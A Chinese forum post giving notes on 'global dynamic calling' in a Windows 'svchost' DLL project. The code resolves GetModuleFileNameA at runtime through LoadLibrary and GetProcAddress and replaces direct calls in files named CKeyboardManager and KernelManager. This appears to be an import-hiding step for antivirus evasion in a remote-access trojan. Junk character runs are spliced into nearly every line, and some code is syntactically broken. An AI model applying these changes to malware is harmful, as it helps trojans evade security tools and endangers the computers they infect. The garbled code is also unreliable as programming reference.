[原创文章] 全局动态调用 全局, 动态

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全局动态调用笔记# c8 q; E7 E" {9 m8 ~+ t
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h" v3 Z' |: k+ N$ ^- }- V
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DTDY.h：, `$ m" D) b5 I" {+ {4 t
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#if _MSC_VER>1000; h7 a0 |# Q, O/ K3 A) ~
#pragma once
0 [! S  S1 H1 E% ^#endif //_MSC_VER>1000
% c( o& d5 F6 @# r3 z; D5 t#include<windows.h>9 |* B* `( J* Z  X# u* D7 I* |4 }# [
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);1 P7 V: c2 F+ E) q& B7 N
class DTDY  Z1 ^- S7 v: ~# G" {0 a
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public:& r" e5 P; N( u
DTDY();
4 R6 G* w  T' a3 S7 ?8 C# kvirtual ~DTDY();
7 @5 v, \" Y3 x6 d5 K! m  b* F+ Upublic:. E# _8 i: e$ U; A
static pGetModuleFileNameA MyGetModuleFileName;
" k' z2 w8 H) n/ p8 L4 I+ I$ Estatic BOOL FunInitiallization();- J/ k" u  Y6 I1 c3 [
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#endif! D) m3 }0 J9 d7 a" O8 @
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DTDY.cpp:# N- X3 e# q4 O# l3 V) X# J

4 o5 n7 E/ ~& a6 S+ }#include "DTDY.h"
# F. S; \8 Z# h8 l* v( m, N% vpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
: n( a, d/ u. P' g) dDTDY:TDY()/ Z* G7 B  M  J' v
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}
& P2 M2 A9 Y6 qDTDY::~DTDY()
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BOOL DTDY::FunInitiallization()% y7 }( B4 o( H  ^3 D1 t, z! d
{
' C' v& h8 r% A8 `# x+ J/ j% J5 i# YHMODULE hModule=LoadLibrary("kernel32.dll");
1 E+ R7 B' a. i. v- E3 _$ h0 aMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
. _/ T7 U6 g# L9 a& A2 d+ e0 aif(!MyGetModuleFileName=) return FALSE;8 F$ _' J  Y+ ~; X9 Y
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return TRUE;
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svchost.cpp:6 o1 u9 Z1 @1 p# E" k

) G6 ~2 h6 j9 ]! G' F6 w5 j0 C#include "DTDY.h"
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4 J$ Z5 [1 D% ]' O3 |  ~BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)$ |- x2 c* I2 g
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switch(ul_reason_for_call)/ m: v- R1 e+ c8 }
{
4 S$ |. v% t" D, w% z( X2 @case DLL_PROCESS_ATTACH:
- R. x4 w# r4 p. cif(!DTDY::FunInitiallization()) return FALSE;& U0 @" K9 A" H$ ?, `, R+ b

4 @/ O  t! o  a: |break;, f" E! v" j0 H- y" Z
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
- O' z3 ^/ R5 H* F改写为
* T8 O3 G  A1 d) UDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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: ?. a4 T6 y* D6 w/ LKernelManager.cpp:
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#include "../DTDY.h"
. P) C  R" ]! n% AGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));' k3 Z  ?: t3 q8 w& l4 i+ }6 H
改写为
1 ?  W5 m% S9 ]; \% N4 G+ KDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));: z) Y9 R8 w3 H5 X" ]4 G  n
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